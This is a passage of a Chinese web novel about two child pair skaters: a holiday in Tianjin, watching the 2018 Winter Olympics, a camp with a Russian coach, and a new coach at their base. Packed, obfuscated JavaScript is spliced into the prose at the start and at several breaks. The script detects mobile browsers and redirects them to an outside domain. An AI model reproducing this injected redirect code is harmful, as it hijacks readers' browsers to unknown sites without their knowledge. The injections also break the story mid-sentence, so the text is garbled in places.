d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834493|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,冬运中心发了文件,点明要放到二月底。” 贺嘉岁想了想。 去年逼近除夕的时候,他们还天天被抓去养绿萝、练书法。 说是让孩子感受“家”的温暖,其实没哪家那么能折腾。 “我知道,”她说,“因为马上就是冬奥会。” 相比夏奥会,冬季运动的关注度属实不高,但对于他们运动员来说,堪比过年。 一放一个月,比过年还隆重。 …… 没几天,六人组又只剩他们三个半永久留守儿童。 整个基地都没什么人气,早晨的新雪很容易覆盖昨晚的足迹。 “应逢年又去找妈妈了?”林风致问。 贺嘉岁纠正:“是阿姨找应逢年,他们去西单买新衣服。” “这不合理,你怎么没跟着去?” 冯女士不常来基地,但这里的人几乎都知道,应逢年是首舞教授的儿子,贺嘉岁是半个女儿。 还有另一个版本。 不知是谁传变了味,贺嘉岁和应逢年是双胞胎的谣言一度甚嚣尘上。 林风致知道假得离谱,但也不想抹除那尽管只有0.001%的可能。 这可是狗血小说女主的标配。 “你去哪?” 回过神时,眼前已经没有半个身影。 贺嘉岁提着鞋包出门:“练冰。” 她才不想纵容林风致沉浸在臆想里。 …… 贺嘉岁在基地待不住,即使放了假,只要冰场还开着,她都得去泡两三个小时。 热身,陆地模拟,换鞋上冰,耳边只有自己的窸窣声。 听不见教练发火,她还有些怀念。 “疯了吧?哪有正常人会怀念这个。”林风致想尖叫。 贺嘉岁和应逢年去长春比赛的那段时间,队里都由辛教练代课。 所谓区别,只是从一天骂三回,到早晚挨骂。 她可一点都不怀念,那会像受虐狂。 “居然还有人?” 有人推开花滑馆的门,询问在空大的室内响起。 安静了一瞬,贺嘉岁向林风致确认:“是常希贻吗?” “嗯,她在这里办了年卡,两千块钱享全年畅滑。” “你们好。” 常希贻穿了身训练服,声音还很稚嫩,和贺嘉岁的印象相差无几。 看架势,她略过热身,想直接加入上冰队伍。 “你好。” 招呼打得熟稔,像昨天刚说过再见的老同学。 但这是她们在同练一场冰的缘分下,进行的第一次交流。 换鞋的空隙,常希贻说:“你叫林风致。” 突然被点名,林风致有些受宠若惊:“你知道我?” 虽然她一事无成,但能被天才少女记住,又怎么不算本事。 “我经常听你的教练叫你。” 这是委婉的说法。 教练每次点名道姓,不是纠正技术,就是酝酿教训。 她一般属于后者。 “那还是别记得我。” “你……”常希贻转头,“我知道你姓贺,这个姓氏很好听。” “她叫贺嘉岁,教练也没少叫她。” 小姑娘舒展眉头:“我在长春看过你的比赛,就在这个月。” “我也看过你的第一站,甲组铜牌。”贺嘉岁回应。 受不了两人互相恭维,林风致打算找回存在感。 “你们来当我的临时教练吧,”她拨着算盘珠子,“看看谁能把我的两周跳教出来。” 22. 君子报仇,十年不晚 一个月的长假,不可能没有代价。 教练把冬运中心的通知转入微信群,加粗强调一句话: [各位同志务必观看平昌冬奥会相关赛事,并撰写观后感。] 细看具体内容,所有运动员都得提交两篇观后感,分别针对开幕式和自己的小项,单篇至少八百字。 “八百字?” 贺嘉岁差点把林风致的手机扔出去。 刁钻的语文老师都不会要求写这么多。 “就当是假期作业,随便写写就好。” 林风致透露,老师从来不会检查假期作业。 贺嘉岁当然知道。 “可老师说,只有扶不上墙的烂泥才会这么做。” 训练的缘故,她经常请假缺席,课堂也是听了上节没下节。 但她没有一天忘记作业,就算和应逢年互抄,也得逼自己交差。 就像运动员得训练,这是学生的义务。 “我仲以為我哋係一擔擔(我以为我们臭味相投呢),”林风致撇嘴,“你是好学生,千万别学我。” 说到后半句,她拿回自己的手机,随即投入和家人的聊天。 手里一空。 贺嘉岁不能确定她的褒贬,怕那句“烂泥”往心里去。 尽管自己的本意不是这样。 她有些自责,和林风致待得久了,也开始学她心直口快。 很多时候,这不是个好习惯。 打算扯些闲篇破冰时,林风致首先说话:“我可能会在立春那天回滨南,你呢?” 新一年新面貌,她要从宣告退出留守儿童的行列做起。 贺嘉岁低头玩被角:“我应该不会回去。” “吾辈楷模。” 林风致惊讶于她还在离不开家人的年纪,居然能忍住回家的冲动。 “我很难适应环境,容易水土不服,”贺嘉岁说,“三月开始加大训练量,我怕自己不能调理。” 从这里北上长春,症状虽然来得快去得快,但对比赛不是没有影响。 她能感觉自己的身体发虚,尤其在连续作战后。 “回滨南会水土不服?” 林风致像听到天方夜谭。 滨南可是她们的家,生长的土地怎么会变成让她生病的异乡。 贺嘉岁开玩笑:“因为我的身体认为自己是北京人。” 去年飞海口,她昏昏沉沉两天,考级几乎带病上场。 现在是一月,北京和滨南的气候天差地别,反应只会更剧烈。 “问题不大,我回去问问我家老中医,再学点医术回来,”林风致安慰,“等我的好消息!” 热情重新覆盖冰点,贺嘉岁对这个转折还怪不适应。 “我看过医生,也备着药。” “不,你要相信中医。” …… 林风致一走,贺嘉岁也没孤单多久。 冯女士完成年前最后一场展演,拎了大包小包到基地,像串门探亲。 “嘉岁,来试试新衣服。”她说。 “我也有份?” 贺嘉岁下冰,连刀套都没来得及拿。 “不止衣服,还有你的演出费。” 首舞的舞剧在全国展演了好几个场次,贺嘉岁和应逢年的出场虽然不多,按照分成,也能拿好几百。 冯女士包了红包,还亲自贴了些凑整,图个大吉大利。 贺嘉岁看见红包就走不动道。 这分量,放眼整个滨南都少见。 “我居然开始赚钱了。”她掂了掂,喃喃说。 前些日子,她和应逢年还突发奇想,算了算这几年的训练费。 虽然每年都有体育局的补贴和冬运中心赞助,但他们的开支仍然不小。 周围人都说阿克塞尔跳是百万跳,还真不假。 相比那些钱,手里的只是杯水车薪。 “赚钱都唔开心呀?” 贺嘉岁摇头:“我在想,这些钱还不够来回的火车。” “路费可是学院报销,你拿到的是纯利润。” 无论如何,都是她应得的。 说得有道理,小姑娘重新换上笑容:“谢谢干妈。” “你也挪眼看看新衣服。” 冬天的衣服都一个样,不修身,也没什么设计,主打保温至上。 但有心意在,贺嘉岁试得不亦乐乎。 衣服衬人,人和衣服都好看,她想。 无意看见吊牌,她暗叹:“好贵。” 这又是她微薄的工资买不起的东西。 “你爸爸给逢年买了好几次冰鞋,”冯女士说,“这几件衣服还没一双冰鞋贵。” 他们现在学两周跳,对冰鞋的要求很高。 市面上,进口鞋的价格几千到几万不等,穿小半年就会塌帮。 如果考虑他们的身体条件,换鞋就更勤快。 “但您也带着我赚钱呢。” 从宿舍过来,应逢年就见一场母慈女孝。 “贺嘉岁,你都快和我妈抱上了,”他一人抱怨一句,“妈妈,您干嘛挂我电话。” “干妈不算妈吗,我抱一下怎么啦?” 贺嘉岁瞪他,刻意给了个结实的拥抱。 人员到齐,冯女士笑着进入话题:“两位小运动员打算去哪玩?” 假期还长,她想带他们去一趟远方。 应逢年先举手:“天津。” “天津,”贺嘉岁问,“我们不是才去过吗?” “你不是忘了带纪念品?” 当时他们赶着去长春,一路匆忙,连航班都差点错过。 “那也不至于再去一次吧。” “但除了剧院和酒店,我们哪也没去,不亏吗?” 甚至连比京腔更有韵味的口音,也没听到半句。 多亏呀。 最后,目的地还是敲定天津,这得益于应逢年固执到底。 冯女士奇怪,私下问过原因。 应逢年解释,如果去太远的地方,贺嘉岁会有一半的时间在生病。 当然,他对贺嘉岁说的是—— 想去看看冬泳的大爷。 …… “我们干嘛坐在这儿?”贺嘉岁东张西望。 出行当天,他们提早到达车站。 但没跨入安检关卡,没进候车厅,只是坐在车站外的长椅上,和路过的行人一样躲雪。 “我爸爸还堵在路上,他和我们一起去。” 应逢年说,他爸爸专程从滨南赶过来,和自己、和妈妈团圆。 问题有些冒犯,贺嘉岁没敢放声。 趁冯女士离开的片刻,她悄悄问:“我以为你的爸爸妈妈离婚了。” “离婚?”应逢年忘记管理表情,眉眼拧得像吃了蒜,“为什么会这么认为。” 除了幼时和朋友扮家家酒,他还没在其他场合听过这个词。 贺嘉岁倒诚实:“因为你的爸爸妈妈也分开了。” 她一直以为,只有离婚才能让一个家庭分开。 “我妈妈是来北京工作,只是工作,”应逢年拍额头,不得不佩服她的想象,但他敏锐地察觉,“你的爸爸妈妈离婚了吗?” “嗯,我妈妈在莫斯科。” “莫斯科在哪?” “俄罗斯,”贺嘉岁回答,“她是艺术体操教练,但是带其他国家的运动员。” 她自认和那座城市的羁绊很深,在还没听说过北京的时候,就已经会写“莫斯科”这三个字。 爸爸说,那是妈妈住的地方,不知道会住多久。 应逢年还在感叹国外之遥远,冯女士接了丈夫进站。 “干爸!” 贺嘉岁跑得比亲儿子还勤。 从天上掉下个干闺女,应先生有些措手不及,先从兜里掏了些压岁钱以示好意,才想起询问:“你就是逢年的搭档?” 冯女士啧声,提醒丈夫:“前年桃李杯的时候,这小子还带你认过人。” 应先生模糊地回忆起,恍然了悟。 贺嘉岁却不知道这事。 那时候,她和应逢年应该只结了梁子吧。 别是那家伙偷偷说她坏话。 车站大厅及时更新时间表,他们的站次越来越靠前。 “嘉岁、逢年,再点一点行李。”冯女士说。 他们要在天津待大半个月,带的东西不少。 应先生搭腔:“看看有没有忘记什么。” 车站有便利店,这是他们最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849585|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后可以补给的地方。 贺嘉岁终于想起来:“我忘了告诉爸爸。” 从罗列旅游计划至今,她还没给爸爸通过电话,爸爸也默契地没吱声,故而自己忘得一干二净。 好险,差点沦为“不孝女”。 手表系统升级,多了视频功能,她按下熟悉的号码。 那头接得很快,贺先生的脸随即出现在画面里。 只是屏幕小得可怜,像素也堪忧,画面很模糊。 贺嘉岁眯着眼睛:“您在非洲雨林?” 多茂盛的树冠,翠绿叠着翠绿,她有多久没在北京看见这样的景色。 “在动物园。” “居然没加班。”她感叹,真稀得见。 “逢年有些腹泻,”贺先生的步伐很急,带着镜头晃动,“鸟类擅长隐藏病态,等工作人员发现的时候,逢年已经处于脱水状态。等会逢年要被送去救助站,我抽空来看一看。” 逢年,逢年…… 耳边炸起好几道雷,此起彼伏。 她现在该关心什么? 那只只见过一面的玄凤鹦鹉,还是应逢年迎面投来的审判。 和爸爸交代未来几周的行程,她匆忙地挂了电话。 “我都听见了。”应逢年冷着脸。 贺嘉岁没有开免提的习惯,但默认把音量调到最大,声音也不小。 足够身边的应逢年听清。 “我爸爸没在叫你。”她苍白地说。 “他说‘逢年拉肚子’,还拉到脱水,我两只耳朵都听见了。” “那是鹦鹉。” “那也是逢年。”应逢年学她的语气。 应先生和冯女士忙着排队,没顾上小孩子们的战争。 贺嘉岁和应逢年也没闹大,只就“‘逢年’等不等于应逢年”的话题辩论。 知道理亏,贺嘉岁以一个眼神刀代替所有。 早知道有这么一出,她才不会给漂亮鹦鹉取这个斤斤计较的名字。 轮到应逢年总结陈词:“君子报仇,十年不晚。” 等着吧。 …… 旅游一旦沾上任务,快乐就会大打折扣。 踏上海河游船的时候,贺嘉岁和应逢年抱着手机登入直播。 游船开始行驶,从内港穿过天津之眼,游客走出船舱,感受从渤海溯游而上的咸湿。 河两岸的霓虹勾勒这座城市的从古至今,每栋建筑都是历史。 但他们没闲心欣赏这份安逸。 直播里,主持人激昂讲着旁白。 因为是国内渠道,韩语和中文在脑中互搏。 赏完夜景,应先生返回卡座,看他们还在抱头苦写,和妻子诉说:“这群孩子,比咱们还忙。” “这还只是我们看得见的时候。” 贺嘉岁和应逢年的身份特殊,即使作为家长,也没法第一时间陪伴。 冰山之下,他们默默承受着更多。 华夏作为下届冬奥会的东道主,在开幕式里压轴出场。 “华夏代表团终于出来了。” 贺嘉岁提笔边看边写,别说八百字,连一千八百字都不在话下。 她没预料到自己有这么强的倾诉欲。 应逢年也没预料到。 这显得磕磕绊绊的他很呆。 “你写了什么?”他问。 “真情流露。” 如果在往常,贺嘉岁一定会捂住自己的辛苦成果,讽他偷窥狂。 但今天,她对自己的作文很满意。 甚至回到酒店,还要把一家三口叫到房间,听她朗诵: “我看见奥运五环在名叫平昌的地方升起,四年后,它会来到北京。 “我就在北京。 “所以也希望,在华夏健儿手里飘扬过的五星红旗,能来到我的手里。 “是代表了八十二名运动员*的那面也好,是挂在训练基地的那面也好。 “我相信未来的自己能有握住它的机会,也能有握住它的能力。 “到国歌为我唱响的那天,我会翻开这页日记,算一算从起点到终点的距离。” 行文至此,她的笔迹还是一丝不苟。 名字之下,落款在2018年2月9日。 23. 0.2分的距离 贺嘉岁是个藏不住事的人,尤其对自己的这篇日记。 忍了两天,她冒昧打通林风致的电话,把自己的大作又念了遍。 “天啊,你要去参加作文比赛吗?” 林风致最近吃好玩好,完全顾不上看比赛。 她分享自己的写作经历:剪切各种网站上的新闻,梳理梳理逻辑,再原封不动地抄下来。 “不能投机取巧。” 贺嘉岁想要扭转林风致的坏习惯。 “知道,”林风致正在电话那头嗑瓜子,嘴里说得含糊,瓜子皮吐得倒干脆,“我以后一定不在训练时投机取巧。” 最近几天,花滑项目正在进行团体赛的角逐,汇聚了一众拥有强劲实力的国家。 华夏队凭借靠前的积分,受邀在列。 但即使拥有容/张这张王牌,其他的,不乏首次参加冬奥会的选手,秦森河、叶绍瑶/季林越、栗桐…… 七成新的队伍。 “张晨旭的外点三周落冰不稳,给他后面技术完成带来压力。”解说员掩不住紧张。 在此前首先进行的男单比赛,秦森河也在后外点冰跳上失误,四周空成两周,已经给冰迷带来不小的打击。 好在,容翡和张晨旭及时调整状态,在节目后段,依然不失速,以满定级拿下旋转和托举,最终位列第三。 没在优势项目上先下一城,次日的冰舞和女单形势骤然严峻。 “叶绍瑶/季林越的水平怎么样?”冯女士也看着迷。 贺嘉岁想了想:“还陷在亚洲一号的混战中,和欧美国家肯定有不小差距。” “那岂不是进第二轮无望?” “也不一定。” “你们能不能注意场合。”一旁的应逢年抱怨。 夜幕降至,华灯初上,他们正坐在缓缓上升的摩天轮里。 刚才,应逢年嫌她们不专心,堵着门不让出舱,现在是第二圈。 应先生也加入聊天局:“这么说,你们当初为什么不学冰舞?” “爸爸。”应逢年彻底孤立无援。 “对呀,”冯女士好奇,“和你们一起训练的两对组合,似乎都是冰舞运动员?” 这话题转得突然,贺嘉岁一怔,只是狡黠说:“秘密。” 真是玩都不能安心玩。 应逢年痛定思痛,推倒此前罗列的所有计划,比对冬奥会的赛程表,将两边的时间避开。 问题又随之而来。 团体赛的赛程密集,运动员几乎从早比到晚,他索性空了两天,就在酒店收看比赛直播。 但第三个比赛日,华夏运动员没有现身。 华夏队在第一轮的表现不够出色,最终排在十个国家的第六位,按照规则,他们与第二轮擦肩而过。 相比于索契冬奥会,这已经是一种进步,但还不够。 “这让我想到了国足。”应先生说。 “不一样,我们只差临门一脚,”贺嘉岁对前段时间的世界杯预选赛*(有所耳闻,“后天的单项赛,我们一定可以拿到奖牌。” 但这两天,没有行程,没有华夏队的赛程,他们只能在酒店干瞪眼。 天津下雪了。 贺嘉岁和应逢年去附近转了转,顺带打了会雪仗,偶尔聊一聊美景,天津和北京虽然离得不远,但完全是两种风格。 “竹板这么一打,别的咱不夸。” 贺嘉岁没接话,好整以暇地看着他。 “你怎么不接?” “我听听你会不会第二句。” 一路上,应逢年一直在开头,反复开头。 “咱夸一夸……容/张的表现一骑绝尘。” “嗯。”贺嘉岁点头。 就知道他只装了半桶水。 “他们还年轻,完全可能坚持到北京冬奥会,”应逢年说,“咱们国内还有那么多双人滑运动员,我们多久才能排上号?” “我想想,”贺嘉岁也开始认真,“除了他们,国内的成年组还有三对运动员,青年组好像有十组左右,少年组也有好几十……” 应逢年提醒:“全国青少年赛里,就有二十二组双人滑运动员。” 除了他们所在乙组,少年甲组的年龄更长,能力比他们更高,这毋庸置疑。 贺嘉岁在心里默算:“我们大概排在全国第三十四号。” 如果每年前进一名,需要花三十四年,她自嘲地笑笑,所谓“活到老,滑到老”。 “要是当初学冰舞,我们就不会面临这么大的竞争。”应逢年假装可惜。 毕竟,全国满打满算,也找不出三十好几对冰舞运动员,这个小项对于华夏来说,还是太过小众。 “大众才好呢,说明我们可以直接学到优秀对的技术,”贺嘉岁扭头问,“你后悔了?” 应逢年跺脚:“越挫越勇。” 脚下的雪还很松,轻飘飘溅在他们的裤腿,鞋面,就像无数次被铲起的冰花。 “好久没有上冰了。” “我带了冰鞋。” “你有病吧,出门旅游居然还带装备?” 难怪他推了两个行李箱。 “你居然不带装备,”应逢年逮住机会,“你不专业。” 贺嘉岁就等他这句话。 “哈哈,我也带了。” 看应逢年吃瘪,真是种乐趣。 两个怪人互相指责,骂骂咧咧回到酒店,期间顺了酒店大堂的小零食,又互相揭发,说运动员要克制。 “你们训练时,也这么和谐有爱吗?”应先生的脑仁疼。 冯女士作证:“有外人时不这样。” “窝里斗啊。” 才不是,贺嘉岁说:“我们刚从窝外打回来。” “你们来看看新闻。”冯女士刚刚翻阅天津的视频号,刷到一则消息。 [俄国花滑名宿德维娅·罗斯特科娃于昨日抵津,将开展为期一周的青少年训练营。] “罗斯特科娃,”贺嘉岁问,“谁啊?” “好像是哪届冬奥会双人滑的冠军,”应先生只有模糊的印象,“和你们是一个项目。” 冯女士问:“到开营前都能报名,你们要不去试试?” “不了吧。” 虽然他们真带了包括但不限于冰鞋的训练装备,但只是为了万无一失。 何况正旅游呢,贺嘉岁和应逢年坚决贯彻该玩就玩的原则。 …… 但话又说回来,原则也是可以违背的嘛。 因为黑马突袭,原本局势明朗的双人滑被蒙上神秘色彩。 排名从未进入世界前十的德国组合加入领奖台之争,容翡/张晨旭暂列第一,但和身后选手的距离都不大。 “金牌能到手吗?” “容/张得滑出个人最佳成绩才行。” 跳跃是张晨旭的弱项,但组合一荣俱荣、一损俱损,这也成为他们两人共担的弱项。 贺嘉岁翻阅国际滑联网站,德国组合的自由滑报出“3+3+2”的联跳难度,单跳上3S,技术分要比容/张高三分左右。 她头一回在比赛之外感到紧张。 替场上的选手捏一把汗。 不会吧。 在此之前,不论是容/张本人,还是国内的体媒,都默认领奖台的一二三名等级分明。 德国组合这么一搅浑水,让容张/在本周期拿到的十余枚金牌也有些站不住脚。 又是待在酒店的一天。 前两天还出去放放风,今天是决出首枚单项金牌的日子,贺嘉岁和应逢年完全被电视迷住。 “出去歇歇眼睛。”冯女士拿出姿态,想赶人走。 “外面的人超级多。” 今天不仅是于他们而言的重要日子,更是华夏的除夕,举国欢庆,连远离景区的小巷都满是人。 能不能过个好年,在此一役。 德国组合仍然延续了短节目的好状态,甚至有成绩的加持,今天更加意气风发。 节目进入后段,所有难度技术完成,剩下的旋转和螺旋线是他们的强项,不会有大问题。 果然,又是一套clean的节目。 解说在惊讶:“他们刷新了新规则设置以来,自由滑的世界纪录!” 另一位解说拿到数据,分析说:“他们今天拿到的165.12分,比他们在欧锦赛上刚刚刷新的个人最好成绩提高了二十分。” 他们都在感叹这对年轻组合的进步神速。 贺嘉岁巴不得立马奔向寺庙吃斋念佛。 这可比自己上场比赛要刺激得多。 应逢年更是当起鸵鸟,嘴里不知在念叨什么,只从指缝里看赛况。 这样就能缓解情绪吗? 贺嘉岁也学他,最终得出结论:指缝里的世界,也是真实的世界。 《马戏之王》的音乐富有韵律,每下鼓点都敲在他们的心上。 3S+2T+2T,完成得漂亮! 捻转三周,上满了提级条件,实时显示四级,GOE高达1.81分。 两个5组托举,3F单跳,3Lz和3Lo的抛跳……都没有问题。 前辈不愧是前辈。 即使大兵压境,依然能在兼顾难度的同时,出色地发挥出看家本领。 这就是世界第一的魅力吗? 贺嘉岁承认,这一刻,才是她爱上竞技体育的根本原因。 不单是体育。 而是竞技的快感。 “冠军,依然是冠军。”两个孩子还按兵不动,应先生先热泪盈眶。 冯女士说他没出息:“虽然振奋人心,但也不至于吧。” 解说也高扬着语调:“虽然成绩尚未发布,但我们可以肯定,容/张挑战了自己,战胜了自己。” 这是他们从携手以来,最无可挑剔的一场表演,从技术动作到表现力都无可挑剔。 移步到kc区,容翡的怀里已经装了很多娃娃,她和张晨旭有说有笑。 “趁分数还没出来,你有什么想说的吗?”一句英语从镜头背后响起。 “给你们透露个消息,”容翡笑着说,“这是我们的最后一战,发挥得很出色,我没有遗憾。” 笑容转移到电视内,贺嘉岁的表情凝固了。 “最后一战。” 前几天的他们讨论,容/张还能在国际赛场驰骋多久。 突然地,她就欣赏完了这对组合的收官之战。 电视里,运动员落座kc区,安静地等待成绩。 镜头外的观众早已按捺不住。 一切都将画上句号。 “你们再给我滑十年!”有现场的华夏冰迷充当画外音。 “不,我不想成为下山的神。”容翡仰头回应。 她想,就这么停在最耀眼的时候,就很好。 “Thescoresrelease——” 播报员一顿,随即报出成绩: “FeiRong/ChenxuZhang,thefree-skatereceived158.66,finallyplacingsecond.” “什么‘second’?” 贺嘉岁张着嘴,如果她的英语还不错,第一名应该是“first”。 “是银牌,”应先生把所有的激动扔出去,叹了口气,“怎么只是银牌。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看训练营宣传的,不仅国内诸多优秀运动员将参加,罗斯特科娃也会带一批俄罗斯孩子进行深入交流,其中不乏JGP选手。 还有她本人的世界冠军、奥运冠军的名号,都注定了训练营的高价。 “刚拿到两个项目的尾款,有钱。” 应先生一挥手,让他们不要担心有的没的。 他们是运动员,除了训练和比赛,都该是小事。 …… 教练和学员先见了一面。 昨天还在旅游途中,今天突然通知提前开营,贺嘉岁还没反应过来。 很完蛋。 她做了万全准备,独独没带训练服。 这标志着,她得穿五颜六色的秋衣过完这一周。 在一众学员中很扎眼。 连金发碧眼的外国人都没她鲜艳。 不出所料,上课铃响,罗斯特科娃首先注意到她。 不过只是无足轻重的一眼,对方很专业,不会因为古怪的穿着偏离重心。 贺嘉岁逐渐打消现买冰服的想法。 教练不逮,冰场不管,她还能给冯阿姨省一笔钱。 今天穿粉色,明天穿橙色,后天穿花花绿绿色。 除了应逢年不爱和她一同热身之外,没有一丝异样。 “我是你的搭档,你不能因为这是单人滑的训练营,就把我丢掉。” 某天下课,她指责应逢年。 “我只是觉得你衣服上的图案丑。” 十二岁,正在小孩最好面子的时候,应逢年实在没有和一身绿色米老鼠牵手的勇气。 “我爸爸的审美是这样的。” 在滨南的时候,最冷的冬至也没有穿秋衣的必要,外套一裹就能过年。 到了北方,冬天天寒地冻,她也没机会单穿秋衣到处晃悠。 说到底,丑也丑不到别人。 谁能预见到今天呢。 “再忍忍,”贺嘉岁说,“等明天,我拿得出手的秋衣就晾干了。” 下课时间,冰场的人依然不减。 除了没离开的学员,散客一拥而上,冰上大塞车。 “你还滑吗?”应逢年问。 “先休息一会,我练练陆地。” 训练营的课时很少,罗斯特科娃带着诚意,只能在尽可能短暂的时间里倾囊相授。 一节课的内容太多,他们需要消化。 “你好。” 一句蹩脚的中文几乎贴着头顶响起。 刚换上鞋,脚还没踩踏实,贺嘉岁险些摔倒。 “吓死我了。” “Sorry,Ijustcuriousaboutyou(抱歉,我对你有些好奇).” 贺嘉岁一愣。 好呀,在学校里落下的英语课,要在这里补上。 纵使她再不擅长这门语言,也能拿出一些本领。 “Sorry,Ican`tunderstand.” 她安慰自己,能和外国人交流一句,已经很厉害了。 “Oops,mytranslatorisoffduty(哎呀,我的翻译下班了).” 好在遍地都是好心人。 贺嘉岁就这么左一耳朵俄式英语,又一耳朵津式中文地听。 “你长得很像一个人。”罗斯特科娃说。 “我?” “对,很像我女儿的教练。” 贺嘉岁觉得这话有些奇怪。 大概没有人会对一个陌生人谈家常。 天津大姨先“哟”了声,用英语回:“您女儿也练花滑?” “不。”罗斯特科娃看着贺嘉岁,似乎在用目光描摹她的五官。 而后,贺嘉岁听见刻在心底的四个字。 “她学……艺术体操。” 24. 想要辛嵘那样的搭档 妈妈。 是妈妈。 虽然这样的概率太小,但贺嘉岁宁愿相信哪怕百分之一的可能。 她追问:“那位教练叫贾呈宁吗?” “她叫Gianna,周围的人都这么叫她,”罗斯特科娃说,“她来自华夏。” “在圣彼得堡?” 开营那天的师生会面,贺嘉岁依稀记得教练的自我介绍,她说她是圣彼得堡人。 “我在莫斯科经营俱乐部,我的女儿也在莫斯科。” 能对上。 这几年,她一直和妈妈保持联系,虽然话题总聊不长,但多少能获取一些信息。 比如妈妈长住莫斯科,是俄国艺体国家队的教练之一,除此之外,她还在当地的俱乐部任教。 罗斯特科娃看她按捺着情绪,耸肩说:“可惜,艺术体操的冬歇时间*已经结束,Gianna应该正带着队员去分站赛的路上。你如果想见她,只能等下一个冬天。” 热心翻译的大姨对外国友人很感兴趣,两人聊着,话题偏到如何育儿上。 周遭的声音仿佛隔了浸了水的棉花,贺嘉岁和喧嚣越行越远。 她只能听见自己的心跳声,世界沦为苍白的背景。 “Gianna是谁,你妈妈吗?” 一个声音碎掉玻璃,重新连接她的呼吸。 贺嘉岁揉了揉模糊的眼睛:“好像……是的。” 虽然没有确凿的证据,生搬硬套的话,“Gianna”的发音也和“贾”颇为相似。 至少,这是老师给她取英文名的参考。 应逢年拍拍她的肩:“你看,我们不仅在训练营改进了技术,你还得到妈妈的消息,这钱花得值!” 是啊。 她也没想到,居然见到了妈妈见过的人,或许教练也曾和她面对面交谈,就像刚才一样。 林风致常常念叨的“六人定律”,到她这里,一个人就够了。 “接下来,你要去莫斯科找妈妈吗?” 贺嘉岁觉得,应逢年这话带着些幽怨,好像她明天就弃他而去,当个背叛朋友的坏家伙。 “我忘了她长什么样。” 记忆里的影子没有五官,也没有高矮胖瘦,除了总挠得她鼻子痒痒的长发,她对妈妈的印象,只有爸爸没冲洗的胶卷。 “教练说了,你们长得很像,”应逢年支招,“你要是按自己的脸找,准能找到。” 几秒缄默,贺嘉岁问:“你很希望我去莫斯科?” “我只是希望你有妈妈,”他嘟囔,“狗咬吕洞宾,不识好人心。” “一定可以见面的。” 那里可是俄罗斯,不只在艺术体操称王称霸,更是花滑的头号强国。 她想,她会有一天站在妈妈的面前。 而现在做的,是垒出通向她的路,有血有肉地走过去。 …… 有这么一层羁绊在,贺嘉岁在训练营结束那天哭了一场。 应逢年原本还笑她是喊包(爱哭鬼),反应过来后,差点没给自己嘴巴子。 怎么弥补呢? 他要到了罗斯特科娃的联系方式。 贺嘉岁看他递过来的号码,抽噎了半晌也没开口。 “要是想妈妈,你可以给她打电话。” “我为什么不直接给妈妈打。” “如果你在想妈妈的同时,还想学习进步呢?”应逢年翘着尾巴,佩服自己一举两得。 “这现实吗?” 和外国教练交流技术,成本多高啊。 冯女士来到冰场时,看到的就是这个画面。 贺嘉岁仰头看着应逢年,眼眶红红的,时不时抽一抽肩膀。 “应逢年,你欺负嘉岁了?” “我在做好人好事。” 节后复工,应先生先一步回滨南,冯女士带着孩子们返京。 北京正值倒春寒,满城飘着雨夹雪,和离开时一个样。 “这趟旅游和梦似的。”应逢年说。 说长不长,说短也短,他拎着行李,站在训练基地的大门前。 身后的出租车正在打表结算,好像下一秒,他就要登车离开,再旅游一遍。 贺嘉岁在身后恐吓:“醒醒,三月初了。” 基地恢复上课,学校开学,他们又得恢复朝七晚九的生活。 …… 换上训练服归队,队里正在晚训。 贺嘉岁有些忐忑。 和杨教练请假的时候,对方没说不同意,也没默许,只简短地“嗯”了声,表明知晓情况。 她怕以教练的性格,来个秋后算账。 “你看,横幅变了。”热身的时候,应逢年突然说起。 冰场的布置简单,除了一面巨幅国旗,只有一条大红横幅。 他们来到基地时,这些就一直贴在那里。 [冰上磨砺锋芒,实力闪耀平昌。] 贺嘉岁来来回回都能背下来。 经应逢年提醒,她定眼看了看。 [逐梦花样滑冰,筑梦北京冬奥。] 属于平昌周期的四年彻底结束,世界冰雪运动进入北京时间。 “快上冰,教练要来了。”林风致小声提醒。 贺嘉岁奇怪。 杨教练除了留堂加训,从来不盯晚训。 “我们换教练了。” 哨声比人声先到。 原本还在聊天的学生应激似的,自动分队练习步法,像自有运行规律的细胞。 这阵仗…… 贺嘉岁和应逢年不明所以,跟在林风致后有样学样,越来越觉得训练模式熟悉。 “又是辛教练代课?” 林风致回答:“不是代课,从开学就是辛教练指导。” 辛成林似乎做好长期驻扎的打算。 为方便教学,把俱乐部的学生也带了过来,包括他的儿子,辛嵘。 “那杨教练呢?” “退休了吧。” 林风致也不确定。 放假之前,她就听到行政楼传来的风声,说教练的合同有问题,上面正力求妥善解决。 内因她不知情,解决的结果也不知道。 和杨教练的师生情谊来也匆匆、去也匆匆,像被一只大手绑定,又突然解绑。 今晚,贺嘉岁和应逢年归队,全员到齐。 辛成林在放课前正式宣布,他成为冬运中心新调任的教练,会无限期负责他们六人的训练事宜。 无限期,期限到明天还是明年,谁都说不清。 但他保证贯彻冬运中心和前教练的训练计划,争取把所有人带去更大的比赛。 “我都还没参加过大比赛。”林风致扯着自己的手套。 贺嘉岁和应逢年走得远,为比赛到处奔波。 她和搭档没有能参加全国大赛的能力,上一次收到邀请,还是市冬会的场馆测试赛。 小孩子扎堆的那种。 辛教练列好每个人的年度目标,传达到位。 “贺嘉岁,你们组的水平相对不错,争取在今年考过六级,先闯进少年甲组。” “林风致,你和搭档有矛盾?” 